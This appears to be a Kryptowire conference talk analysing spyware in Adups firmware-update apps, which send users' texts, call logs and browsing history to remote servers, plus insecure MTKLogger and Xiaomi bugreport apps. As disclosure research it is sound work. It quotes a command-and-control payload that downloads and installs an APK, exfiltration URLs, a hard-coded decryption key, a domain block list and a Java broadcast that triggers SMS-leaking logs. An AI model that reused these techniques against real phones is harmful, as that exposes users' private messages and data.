All Your SMS & Contacts Belong To Adups & Others

Ryan Johnson, Kryptowire
Angelos Stavrou, Kryptowire
Azzedine Benameur, Kryptowire
What Resides in Your Mobile Firmware?

Secret Back Door in Some U.S. Phones Sent Data to China, Analysts Say

By MATT APUZZO and MICHAEL S. SCHMIDT  NOV. 15, 2016
Android devices come with a set of pre-installed apps
- Framework apps, vendor apps, carrier apps, etc.

The pre-installed apps can be malicious and/or insecure
- Privileged apps with inadequate application component security

We will discuss a set of malicious pre-installed apps and two apps that are insecure and can thus be locally exploited
- Adups
- MTKLogger
- Xiaomi’s com.miui.bugreport app
Adups FOTA Update Apps

- Adups has a set of pre-installed system apps that perform Firmware Over the Air (FOTA) updates where the package names can be:
  - com.adups.fota, com.adups.fota.sysoper, com.data.acquisition, com.fw.upgrade, and com.fw.upgrade.sysoper (bolded apps execute as the system user)

- Apps that execute as the system user have special privileges and are granted a block of powerful permissions by default

- Personally Identifiable Information (PII) exfiltration occurs without user knowledge or consent
Scope of Adups Software

Partners
Adups Security Track Record

- Adups remotely installing apps on Micromax devices (2015)

- Local command execution as system user (2015)

- Local privilege escalation from system user to root user (2015)
Exposed command execution as system user via the exported broadcast receiver named WriteCommandReceiver in the com.adups.fota.sysoper app.
日前，巴斯光年安全实验室向我们反馈了FOTA应用存在的权限漏洞，恶意攻击者可通过该bug获取手机System权限。该漏洞给用户和合作伙伴可能造成的影响，我们深感不安，并第一时间发布修复版本，提交巴斯光年安全实验室和Google安全团队检测，目前已通过Google安全团队检测，请相关合作伙伴及用户及时更新。

Recently Buzz Lightyear Security Lab gave us feedback FOTA application of the existence of vulnerability, malicious attackers can get the phone through the system permissions to the bug. We are deeply concerned about the impact this vulnerability can have on our users and our partners, and have released the fix for the first time, submitted to the Buzz Lightyear Security Lab and Google’s security team for detection, and are currently being tested by the Google security team. Partners and users to update.
Initially discovered in the BLU R1 HD device
- Amazon Prime exclusive (has pre-installed Amazon apps)
- Was and is the #1-selling unlocked smartphone on Amazon

Adups still provides the firmware update service for BLU
- Less aggressive PII collection (no more text messages and call log)
- Command & Control (C&C) channel activates after the device has been used for 20 days (not necessarily consecutive).

- After the uptime is at least 8 hours and the `CONNECTIVITY_CHANGE` broadcast Intent is received, then a request goes out to the following URL which returns commands to execute as the system user:
  - http://rebootv5.adsunflower.com/ps/fetch.do

- C&C channel uses HTTP, so it is open to Man-In-The-Middle (MITM) attacks.
"sf": ["dl http://198.11.183.50/ps/down.do AdupsFota_5.05.0.3.004.apk /sdcard/b315","pm install -r /sdcard/b315","am start -n com.adups.fota/.GoogleOtaClient","echo '' > /sdcard/b315"],

- C&C channel updated the exfiltrating versions of Adups apps with “nicer” ones
There is a component named AnalyticsReceiver that “listens” for the CONNECTIVITY_CHANGE and ACTION_POWER_CONNECTED broadcast Intents

- Triggered when phone plugged in to charge and/or joins or leaves a network (e.g., Wi-Fi)

AnalyticsReceiver starts the AnalyticsService component which creates a AnalyticsReport object to record and compare timestamps

- Devices must also have an uptime of at least ten minutes

If at least 72 hours have passed since the first run or previous exfiltration, then the AnalyticsReport object performs the exfiltration where it will obtain PII data from the InfoProvider content provider in the com.adups.fota.sysoper app

- static final Uri MSG_URI = Uri.parse(String.valueOf(new char[]{'c', 'o', 'n', 't', 'e', 'n', 't', ':', '/', 's', 'm', 's'})); // <------ content://sms
PII Exfiltration Endpoint

https://bigdata.adups.com/fota5/mobileupload.action

Embeds zip file into POST request

Zip file contains various JSON files with PII and data about the device

Text messages use an additional layer of encryption
whois adups.com
Domain Name: adups.com
Registry Domain ID: 114801848_DOMAIN_COM-VRSN
Registrar WHOIS Server: grs-whois.hichina.com
Registrar URL: http://whois.aliyun.com/
Registrar Registration Expiration Date: 2020-03-22T18:04:48Z
Registrar: HICHINA ZHICHENG TECHNOLOGY LTD.
Registrar IANA ID: 420
Domain Status: ok http://www.icann.org/epp#OK
Registry Registrant ID: Not Available From Registry
Registrant Name: bo zhang
Registrant Organization: Shanghai Adups Technology Co. Ltd
Registrant Street: Room403,22 Boxia Rd,Zhangjiang,Pudong,Shanghai
Registrant City: Shang Hai
Registrant State/Province: Shang Hai
Registrant Postal Code: 201203$
Registrant Country: CN
Registrant Email: zhangbo@adups.cn
Text messages can be targeted using a keyword or specific phone number and control whether or not to exfiltrate the text messages.
Uses a DES hard-coded key value of NotCrack and an IV value of bytes 1 through 8

Sorry¯\_(ツ)_/¯

java DecryptTextBody PTn0RPz8VMmI0UNU4AboNydOXfqrsefP9LWLefa9jI\u003d
Too much is never enough
JSON Files that Can Appear in the Exfiltrated Zip File

dc_app_flow.json – the order in which the user uses their applications
dc_msg_key.json - all text message send or received by the device with timestamps
DcApp.json - list of applications installed on the device
DcAppOp.json - AppOps data (granted and denied permission)
DcMobileStatus.json - minimal device diagnostic data
DcRootInfo.json - file listing of /system/bin and /system/xbin directories
DcTellMessage.json - the user’s call log and text metadata with timestamps
dc_browser_his.json - the user’s browser history
<table>
<thead>
<tr>
<th>Device</th>
<th>dc_app_flow</th>
<th>DcApp</th>
<th>DcAppOp</th>
<th>DcMobileStatus</th>
<th>DcRootInfo</th>
<th>DcTellMessage</th>
<th>dc_msg_key</th>
<th>dc_browser_hist</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bluboo Maya V178C HD</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Colors P50</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Colors P85</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Cubot Cheetah</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Cubot Dinosaur</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Cubot Rainbow</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Panasonic T44 Lite</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Qmobile Z12 Pro</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Ulefone Metal</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Ulefone Be Pure Lite V3.2</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Ulefone U007</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Ulefone Vienna</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Ulefone Future</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Walton Primo X4</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Walton Primo NF2 Lite</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Walton Primo NF2 Plus</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Walton Primo HM3 Plus</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Walton Primo RM3</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Walton Primo NX4 Mini</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Walton Primo RX5</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Walton Primo NF2</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Walton Primo NX4</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
</tbody>
</table>
The `DcTellMessage.json` file seems to only appear in Android 4.4.2 - 6 builds

- Earliest seen build date: January 20th, 2015 (Maximus IX UFO)
  - maximus/j5018_maximus/j5018_maximus:4.4.2/KOT49H/1421742381:user/release-keys

The `dc_msg_key.json` file seems to only appear in Android 6 builds

- Earliest seen build date: May 11th, 2016 (Cubot Cheetah)
  - alps/full_n625ab/n625ab:6.0/MRA58K/1462963832:user/test-keys

The `dc_browser_his.json` file seems to only appear in Android 6 builds

- Earliest seen build date: June 30th, 2016 (Walton Primo NF2)
  - alps/6.0/MRA58K/1468892313:user/test-keys
New file seen in **Cubot X16S** device containing the device’s browser history

- dc_browser_his.json

- JSON array containing timestamp, URL, title, and the number of times visited by the user

```json
[{
    "date":1493486047082,
    "title":"SuperSU",
    "url":"http://www.supersu.com/faq/howtoroot/",
    "visits":2
},
{
    "date":1493486038475,
    "title":"SuperSU forum-where rooting fans gather",
    "visits":1
},
{
    "date":1501208418532,
    "title":"Adult Video on Demand \u0026 Porn Pay Per View | Hot Movies",
    "url":"https://www.hotmovies.com/m/splash.php",
    "visits":1
}]
```
References to “sales” in the Code

- “Sales” references in com.adups.fota app
  - com.msg.analytics.AnalyticsReport.saveSales()
  - com.msg.analytics.AnalyticsReport.isSaleSent()
  - com.msg.analytics.AnalyticsReport.checkSales()
  - com.msg.analytics.Const.SALES_DATA_RQ
    - String constant with a value of salesCountInterface.action

- http://bigdata.adfuture.cn/fire/salesCountInterface.do
  - Sends out cell tower ID, MCC, MNC, IMEI, IMSI, MAC address, SIM serial number, phone number, and other device data in an encrypted format every 24 hours
MTKLogger Overview

- Pre-installed system app on certain devices with a MediaTek chipset
  - Package name of `com.mediatek.mtklogger`

- Reported at the same time as Adups and the vulnerabilities have been addressed in new versions of the app
  - Devices that are no longer supported with firmware updates are left vulnerable

- Ability to obtain various logging information that can be utilized by an app co-located on the device
  - Logs written to the SD card - `/sdcard/mtklog`
MTKLogger Logging Capabilities

- **MobileLog** – Android log and the kernel log
  - Android log tends to contain sensitive user data
    - Not available to third-party apps

- **ModemLog** – Contains AT commands
  - Body and number for text messages in 7-bit packed encoding
  - Phone numbers for call data

- **NetworkLog** – tcpdump capture of network traffic

- **GPSLog** – GPS coordinates along with timestamps
- Bluetooth Snoop log is active by default
  - /sdcard/btsnoop_hci.log
- Modem log can be enabled
  - /sdcard/diag_logs
- Can initiate create a bugreport
  - Contains Android log and dump of Android system services
  - /sdcard/MIUI/debug_log
- Capture a screenshot
  - /sdcard/DCIM/Screenshots
- Still vulnerable as of July 23rd, 2017
  - Xiaomi/rolex/rolex:6.0.1/MMB29M/V8.0.3.0.MCCCNDI:user/release-keys
- Contains an unprotected `BugreportGenerateReceiver` broadcast receiver that will generate a bugreport when it receives a broadcast Intent with an action of `com.miui.bugreport.service.action.CONFIRM_DIALOG`

- Phone vibrates three times at the beginning of the creation of the bugreport and again when it is finished and leaves a non-sticky notification

- Active notifications from the `SystemUIService` are included in the bugreport

```java
notification=Notification(pri=0 contentView=com.android.mms/0x1090090 vibrate=null sound=file:///system/media/audio/ui/MessageIncoming.ogg tick defaults=0x0 flags=0x11 color=0x00000000 category=msg vis=PRIVATE)
tickerText="5715555555: Hey are you still at work?"
```
The `com.miui.bugreport` app also contains a unprotected broadcast receiver named `ModemLogGenerator` that “listens” for Android secret codes.

- Creates a sticky notification while modem logging is active
- Application cannot be disabled and writes the modem log to the SD card
  - Contains the body and phone number for text messages in 7-bit packed encoding

```java
Intent i = new Intent("android.provider.Telephony.SECRET_CODE");
i.setData(Uri.parse("android_secret_code://995"));
sendBroadcast(i);
```
Take a closer look at the pre-installed apps and software for mobile and IoT devices

- Insecure and malicious apps can reside in the mobile firmware

Various Adups URLs should be blocked to prevent any exfiltration of PII

- http(s)://*.plumad.com, http(s)://*.adsunflower.com, http(s)://*.adfuture.cn,
  http(s)://*.advmob.cn, http(s)://*.adups.com, http(s)://*.adups.cn

Adups exfiltration in various devices has been scaled back but can be scaled up with a firmware update and change of server response

- Infrastructure for the PII exfiltration and C&C still exists and is active on certain devices
Questions?

Thank You